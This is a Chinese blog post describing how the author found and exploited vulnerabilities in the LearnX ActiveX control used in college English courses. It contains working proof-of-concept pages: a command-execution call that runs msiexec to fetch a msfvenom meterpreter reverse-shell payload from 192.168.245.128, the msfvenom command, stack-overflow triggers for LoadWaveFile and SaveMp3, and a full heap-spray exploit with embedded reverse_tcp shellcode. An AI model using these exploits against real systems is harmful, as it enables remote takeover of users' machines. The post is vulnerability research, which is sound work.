LearnX控件漏洞挖掘与利用

前言

大学英语会用到一个 ActiveX 插件 LearnX ,最近从网上下了一个下来分析了一下,找到了一些漏洞并完成了 exploit . 虽然涉及的知识比较老旧,不过还是挺有意思的。这里分享一下整个过程。

相关文件

链接: https://pan.baidu.com/s/1jfDIInXD4k1nGOeCghEGDg 提取码: dmm6 
解压密码:9179ee68791ae58187eb30837370aae4

正文

分析准备

首先在网上下载了一个安装程序,下载并安装到电脑上。

https://language.jhun.edu.cn/1c/f6/c3570a72950/page.htm

由于是 ActiveX 的程序,可以下一个 COMRaider 来辅助分析并 fuzz .

https://github.com/dzzie/COMRaider

安装好插件后使用 COMRaider 来打开 .ocx 文件,查看控件暴露给浏览器的接口。

然后选中程序安装目录下的 .ocx 文件给 COMRaider 分析。

PS: 程序的默认安装目录为

C:\Program Files\Pattek\LearnX

打开后, COMRaider 就会列出控件提供的所有函数名称和参数信息。

接下来就是对这些接口进行分析。

漏洞分析

RunDosCommand 接口命令执行漏洞

首先浏览一遍函数接口,发现一个有意思的接口

RunDosCommand

它的参数为字符串,根据函数名和参数类型可以猜测这应该是执行一条系统命令。于是构造一个 html 页面用js 调用看看。
我们可以使用 COMRaiderfuzz 功能快速生成一个测试用的 html , 然后再生成的脚本上进行一些修改。

点击 Test Exploit in IE 后 , COMRaider 会监听在 1325 端口,然后弹出 ie 访问。

http://127.0.0.1:1325/test.html

我们把源码保存下来,然后修改一下。

代码用 object 标签引用控件,然后使用 vbscript 调用的控件的方法。我们把它修改成 js 的代码,同时去掉一些没用的代码。
弹个计算器看看

<html>
    <object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>
    <script language='javascript'>
        target.RunDosCommand("calc");
    </script>
</html>

下面用 msiexec 弹一个 shell 回来。

<html>
    <object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>

    <script language='javascript'>
        // msfvenom -f msi -p  windows/meterpreter/reverse_tcp lhost=192.168.245.128 lport=4444  > r
        target.RunDosCommand("msiexec /q /i http://192.168.245.128/r");
    </script>

</html>

首先用 msfvenom 生成一个 msi 格式的 payload

msfvenom -f msi -p windows/meterpreter/reverse_tcp lhost=192.168.245.128 lport=4444 > r

然后用 python 起一个 http 服务器并设置好 msf 等待链接。

IE 加载 poc 页面即可反弹一个 shell 回来.

LoadWaveFile栈溢出漏洞

下面我们使用 COMRaiderfuzz 一下一些函数,这里以 LoadWaveFile 为被 fuzz 的对象,介绍下使用 COMRaider 进行 fuzz 的方式。
选择要 fuzz 的函数,右键 选择 fuzz member

然后会生成一堆测试样本,点击 next , 继续然后点击 Begin Fuzz 开始 测试。

不一会儿就会测出异常

然后暂停,右键出现异常的样本,选择 Test Exploit in IE

会发现 IE 打开网页后会报错,这样我们就拿不到奔溃的样本,这时可以用 chrome 去访问页面,拿到 html
的源码。

转成 js 的版本。

<html>
    Test Exploit page
    <object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target' ></object>
    <script>
        var buf = '';
        while(buf.length < 1044){
            buf +='A';
        }
        target.LoadWaveFile(buf);
    </script>
</html>

可以看到就是传了 1044ALoadWaveFile 这个 API 。使用 IE 加载 poc , ie 不会 crash , 这是因为 ie 内部有异常处理机制,我们可以使用调试器调试看看。

为了方便调试在触发漏洞前,加一个 alert 语句等待调试器 attach 上去。

在弹出框后使用 x64dbg32 版本附加到 SysFader 这个进程, 因为好像 ActiveX 控件会加载到这个进程,而不是下面那个 tab 的进程。

等调试器附加上去后,继续运行脚本,调试器会中断几次,一直 f9 继续运行 2 次,可以看到 eip 已经变成 0x41414141

下面我们分析一下漏洞的成因,把 LearnX.ocx 拖到 ida 里面分析。搜索函数字符串,然后交叉引用可以找到一个类似于函数表的区域。

表中的每一项代表一个函数,每一项的结构大概为

struct item{
    char* function_name; // 函数名
    char dummy[0xc]; // 未知用途
    void * function_ptr; // 函数的指针
}

图中函数名指针位于 0x02E6E520 , 函数指针位于 0x02E6E530 . 跟进去看看函数的实现。函数有两个参数

int __thiscall LoadWaveFile(char *this, char *a2)

第二个参数是我们的输入。在函数的后面会调用 strcpy 复制我们的输入到栈上.

此处栈的大小为 0x514 , 而我们输入的样本长度只有 1044 个字符, 应该覆盖不到返回地址。所以下面应该还有其他的溢出位置。

在这个函数下断点,然后不断调试发现在 0x02E37FFA 处会调用 sprintf 往栈上写数据,此时的目的缓冲区的大小为 0x114 , 参数为

sprintf(&v39, "%s%s",&String, a2) // a2 为我们的输入

所以我们的样本触发栈溢出的位置是这个地方, sprintfstrcpy 一样不会校验字符串的长度,会造成栈溢出。

漏洞利用的话,由于测试环境是 xp + ie8 没有 dep , 所以直接使用 堆喷射 + shellcode 即可。

<html>


<script src="heaplib.js"></script>

<script language='javascript'>
    var heap_obj = new heapLib.ie(0x10000);
    // 反弹到 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.245.128 lport=4444 -f js_le
    var code = unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u685d%u3233%u0000%u7768%u3273%u545f%u4c68%u2677%u8907%uffe8%ub8d0%u0190%u0000%uc429%u5054%u2968%u6b80%uff00%u6ad5%u6801%ua8c0%u80f5%u0268%u1100%u895c%u50e6%u5050%u4050%u4050%u6850%u0fea%ue0df%ud5ff%u6a97%u5610%u6857%ua599%u6174%ud5ff%uc085%u0a74%u4eff%u7508%ue8ec%u0067%u0000%u006a%u046a%u5756%u0268%uc8d9%uff5f%u83d5%u00f8%u367e%u368b%u406a%u0068%u0010%u5600%u006a%u5868%u53a4%uffe5%u93d5%u6a53%u5600%u5753%u0268%uc8d9%uff5f%u83d5%u00f8%u287d%u6858%u4000%u0000%u006a%u6850%u2f0b%u300f%ud5ff%u6857%u6e75%u614d%ud5ff%u5e5e%u0cff%u0f24%u7085%uffff%ue9ff%uff9b%uffff%uc301%uc629%uc175%ubbc3%ub5f0%u56a2%u006a%uff53%u41d5");  


    var nops = unescape("%u9090%u9090");    //NOPs
    while (nops.length < 0x1000) nops += nops; // create big block of nops
    var shellcode = nops.substring(0, 0x800 - code.length) + code;
    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(2, 0x40000 - 0x21);
    //spray
    for (var i = 0; i < 500; i++) {
        heap_obj.alloc(block);
    }
    alert("Spray done");
// Can't directly drag into iexplore
</script>


<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target' ></object>

<script>

    var buf = '';
    //  修改返回地址到 0x0c0c0c0c
	while (buf.length < 512){
	    buf += unescape("%0c%0c%0c%0c");
	}

	alert(target);
	target.LoadWaveFile(buf);

</script>

</html>

PS: heaplib.js 是一个用于堆喷射的 js 库, 还有不能直接用文件方式打开,需要自己打一个 http 服务器,
ie 去请求网页。

其他的一些漏洞

之后随便分析了几个 .rdata 上的函数表里面的函数, 发现了一些类似的问题。这里列举一下。

CMPGetWordScore信息泄露

这个函数直接使用我们的输入作为索引去读取 this 对象里面的数据返回。

this 对象里面会有一些指针,会造成信息泄露。

SaveMp3栈溢出

函数开头用 sprintf 把输入字符串写入栈中, 造成栈溢出。

poc

<html>
Test Exploit page
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target' ></object>
<script>

var buf = '';

while (buf.length < 512){
    buf += 'A';
}

alert(target);
target.SaveMp3(buf);

</script>

参考

https://www.cnblogs.com/0xJDchen/p/5944410.html
https://evi1cg.me/archives/remote_exec.html
posted @ 2018-12-23 22:19  hac425  阅读(798)  评论(0编辑  收藏  举报